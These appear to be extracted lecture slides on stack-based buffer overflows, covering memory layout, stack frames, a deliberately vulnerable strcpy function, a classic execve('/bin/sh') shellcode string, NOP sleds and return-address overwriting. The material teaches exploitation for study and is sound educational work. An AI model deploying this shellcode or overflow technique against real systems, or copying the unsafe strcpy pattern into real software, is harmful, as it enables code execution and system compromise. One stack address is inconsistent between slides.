Outline for Lecture 4

1. Overview of software exploits
2. Memory layout and function calls in a process
3. Stack-based buffer overflow attacks
Outline for Lecture 4

1. Overview of software exploits
2. Memory layout and function calls in a process
3. Stack-based buffer overflow attacks
Software Attacks: Context

- Outsider corrupting process
- Insider escalating privilege

- Usually want to monetize system
- Sometimes targeted espionage
- Happy crashing system as well!
Software Vulnerabilities are Very Common

• According to vulnerability researcher and author Dave Aitel:

In **one hour** of analysis of a binary, one can find *potential* vulnerabilities

In **one week** of analysis of a binary, one can find *at least one good vulnerability*

In **one month** of analysis of a binary, one can find a *vulnerability that no one else will ever find.*
Two Basic Principles of Most Attacks

- Adversaries get to inject their bytes into your machine
- “Data” and “Code” are interchangeable; They are fundamentally the same “thing”.

```
GET /index.html HTTP/1.1
```

vs.

```
GET /index.htmlh6\??`??
L??S)???Z?vm??q`%?~???M?
EK???'?_?|Cg7L??s3?
```
Some Classes of Software Vulnerabilities

- Memory management
- Integer overflow and casting
- Unsanitized input fed to unprotected functions (e.g. `printf`)
- ...

Outline for Lecture 4

1. Overview of software exploits

2. Memory layout and function calls in a process

3. Stack-based buffer overflow attacks
Memory Layout of a Process (in Linux)

.text: Machine executable code
.data: Global initialized static variables
.bss: Global uninitialized variables (“block starting symbol”)
heap: Dynamically allocated memory (via brk/sbrk/mmap syscall)
stack: Local variables and functional call info
env: Environment variables (PATH etc)

(Demo!)
**x86 Registers and Virtual Memory Layout**

**Registers**

- **eax**: General-purpose register
- **ebx**: General-purpose register
- **...**: Additional registers
- **cpl**: Current privilege level
- **ebp**: Base pointer to current “stack frame”
- **esp**: Stack pointer (top of stack)
- **eip**: Instruction pointer

**Virtual Memory**

- **.text**
- **.data**
- **.bss**
- **heap**
- **stack**
- **env**

**Esp**

- Stack pointer (top of stack)

**Ebp**

- Base pointer to current “stack frame”

**Eip**

- Instruction pointer
The Stack and Calling a Function in C

What happens to memory when you call \texttt{foo(a,b)}?
- A “stack frame” is added (\texttt{esp} moves up)
- Instruction pointer \texttt{eip} moves to code for \texttt{foo}

```c
int foo(int a, int b) {
    int d = 1;
    return a+b+d;
}
```

```
local d
saved ebp
saved eip
arg b
arg a
```
Returning from a function

What happens after code of $\text{foo}(a,b)$ is finished?
- Pop frame off of stack (move $\text{esp}$ down)
- Move saved $\text{ebp}$ to $\text{ebp}$ register
- Move saved $\text{eip}$ to $\text{eip}$ register

```c
int foo(int a, int b) {
    int d = 1;
    return a+b+d;
}
```
Outline for Lecture 4

1. Overview of software exploits

2. Memory layout and function calls in a process

3. Stack-based buffer overflow attacks
Typical Problem: Overflowing a buffer on the stack

Function `bad` copies a string into a 64 character buffer.
— `strcpy` continues copying until it hits NULL character!
— If `s` points to longer string, this overwrites rest of stack frame.
— Most importantly saved `eip` is changed, altering control flow.

```c
void bad(char *s) {
    char buf[64];
    strcpy(buf, s);
}
```

Frame before `strcpy`  Frame after `strcpy`

Frame before `strcpy`  Frame after `strcpy`

Local `buf`  
<buf cont.>
<buf cont.>
...
<buf cont.>

Saved `ebp`
Saved `eip`
Arg `s`

AAAA
AAAA
AAAA
AAAA
AAAA
AAAA
AAAA
AAAA
AAAA
AAAA
AAAA
AAAA
AAAA
AAAA
AAAA
AAAA
AAAA
AAAA
AAAA
AAAA
AAAA
AAAA
AAAA
AAAA
Segment Fault!

`s=“AAAA...AAAA”` (70 or more characters)

What will happen? SEGFAULT!
How to exploit a stack buffer overflow

Suppose attacker can cause bad to run with an $s$ it chooses.

- Step 1: Set correct bytes to point back to input(!)

```c
void bad(char *s) {
    char buf[64];
    strcpy(buf, s);
}
```

$s$="AAAAA...AAAA\x24\xf6\xff\xbfAAA..."

Frame before `strcpy`

- local buf
- <buf cont.>
- <buf cont.>
- ...
- <buf cont.>
- saved ebp
- saved eip
- arg s

Frame after `strcpy`

- AAAA
- AAAA
- AAAA
- AAAA
- AAAA
- AAAA
- 0xbfffff624
- AAAA

Well-chosen (unprintable) characters used as an address for eip!

What will happen? Illegal instruction!
How to exploit a stack buffer overflow

Suppose attacker can cause bad to run with an \textit{s} it chooses.

- Trick 1: Set correct bytes to \textit{point back to input}(!)
- Trick 2: Make input \textit{executable machine code}(!)

```c
void bad(char *s) {
    char buf[64];
    strcpy(buf, s);
}
```

\texttt{s=\textless machine code\textgreater \textbackslash x24\textbackslash xf6\textbackslash xff\textbackslash xbfAAA...}
What to put in for `<code>`?

The possibilities are endless!

— Spawn a shell
— Spawn a new service listening to network
— Overview files
— …

s=“<machine code>\x24\xf6\xff\xbfAAA…”

But wait… what about NULL bytes?

**Solution:** Find machine instructions with no NULLs!
— Can even find machine code with all alpha bytes.
Example Shellcode

```c
char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
```

Basically equivalent to:

```c
#include <stdio.h>
void main() {
    char *name[2];
    name[0] = "/bin/sh";
    name[1] = NULL;
    execve(name[0], name, NULL);
}
```
Finally, where did that magic address come from?

Two issues:
— Need to place address in correct spot
— Need address to jump to beginning of shellcode
Technique #1: NOP Sleds

— Instruction $0x90$ is “xchg eax, eax”, i.e. does not thing. This is a “No Op” or “NOP”.
— Just add a ton of NOPs (as many as you can, even many MB) and hope pointer lands there
Technique #2: Placing malicious EIP

— Simple: Just copy it many times

```
0xbffff624
0x90909090
...  
0x90909090
<code>
<code>
<code>
<code>
<code>
<code>
<code>
<code>
0xbfffff624
0xbffff624
...  
0xbffff624
```

saved eip

0xbffff624
The End